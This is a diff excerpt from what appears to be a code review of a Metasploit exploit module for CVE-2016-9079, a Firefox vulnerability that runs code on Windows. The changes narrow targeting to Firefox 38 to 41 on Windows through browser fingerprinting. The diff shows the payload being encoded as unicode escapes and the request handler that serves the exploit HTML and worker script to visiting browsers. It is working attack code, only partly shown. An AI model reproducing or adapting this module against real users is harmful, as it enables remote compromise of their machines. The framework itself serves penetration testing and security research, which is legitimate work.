8
8
class MetasploitModule < Msf ::Exploit ::Remote
9
9
Rank = NormalRanking
10
10
11
- include Msf ::Exploit ::Remote ::HttpServer
11
+ include Msf ::Exploit ::Remote ::BrowserExploitServer
12
12
13
13
def initialize ( info = { } )
14
14
super ( update_info ( info ,
@@ -25,9 +25,17 @@ def initialize(info={})
25
25
'William Webb <william_webb[at]rapid7.com>' # Metasploit module
26
26
] ,
27
27
'Platform' => 'win' ,
28
+ 'BrowserRequirements' =>
29
+ {
30
+ source : /script/i ,
31
+ os_name : OperatingSystems ::Match ::WINDOWS ,
32
+ ua_name : HttpClients ::FF ,
33
+ # Fixed in Firefox 50.0.2
34
+ ua_ver : lambda { |ver | ver . to_i . between? ( 38 , 41 ) }
35
+ } ,
28
36
'Targets' =>
29
37
[
30
- [ 'Mozilla Firefox' ,
38
+ [ 'Mozilla Firefox 38 to 41 ' ,
31
39
{
32
40
'Platform' => 'win' ,
33
41
'Arch' => ARCH_X86 ,
@@ -40,11 +48,11 @@ def initialize(info={})
40
48
'InitialAutoRunScript' => 'migrate -f'
41
49
} ,
42
50
'References' =>
43
- [
44
- [ 'CVE' , '2016-9079' ] ,
45
- [ 'Bugzilla ' , '1321066' ]
46
- ] ,
47
- 'Arch' => ARCH_X86 ,
51
+ [
52
+ [ 'CVE' , '2016-9079' ] ,
53
+ [ 'URL ' , 'https://bugzilla.mozilla.org/show_bug.cgi?id= 1321066' ] ,
54
+ [ 'URL' , 'https://www.mozilla.org/en-US/security/advisories/mfsa2016-92/' ]
55
+ ] ,
48
56
'DisclosureDate' => "Nov 30 2016" ,
49
57
'DefaultTarget' => 0
50
58
)
@@ -60,7 +68,7 @@ def exploit_html(cli)
60
68
p = payload . encoded
61
69
arch = Rex ::Arch . endian ( target . arch )
62
70
payload_final = Rex ::Text . to_unescape ( p , arch , prefix = '\\u' )
63
- base_uri = " #{ get_resource . chomp ( '/' ) } "
71
+ base_uri = get_module_resource
64
72
65
73
# stuff that gets adjusted alot during testing
66
74
@@ -248,28 +256,16 @@ def worker_js(cli)
248
256
send_response ( cli , c , { 'Content-Type' => 'application/javascript' , 'Pragma' => 'no-cache' , 'Cache-Control' => 'no-cache' , 'Connection' => 'close' } )
249
257
end
250
258
251
- def is_ff_on_windows ( user_agent )
252
- target_hash = fingerprint_user_agent ( user_agent )
253
- if target_hash [ :ua_name ] !~ /Firefox/ or target_hash [ :os_name ] !~ /Windows/
254
- return false
255
- end
256
- return true
257
- end
258
-
259
- def on_request_uri ( cli , request )
259
+ def on_request_exploit ( cli , request , browser_info )
260
260
print_status ( "Got request: #{ request . uri } " )
261
261
print_status ( "From: #{ request . headers [ 'User-Agent' ] } " )
262
- if ( !is_ff_on_windows ( request . headers [ 'User-Agent' ] ) )
263
- print_error ( "Unsupported user agent: #{ request . headers [ 'User-Agent' ] } " )
264
- send_not_found ( cli )
265
- close_client ( cli )
266
- return
267
- end
262
+
268
263
if request . uri =~ /worker\. js/
269
264
print_status ( "Sending worker thread Javascript ..." )
270
265
worker_js ( cli )
271
266
return
272
267
end
268
+
273
269
if request . uri =~ /index\. html/ or request . uri =~ /\/ /
274
270
275
271
print_status ( "Sending exploit HTML ..." )
0 commit comments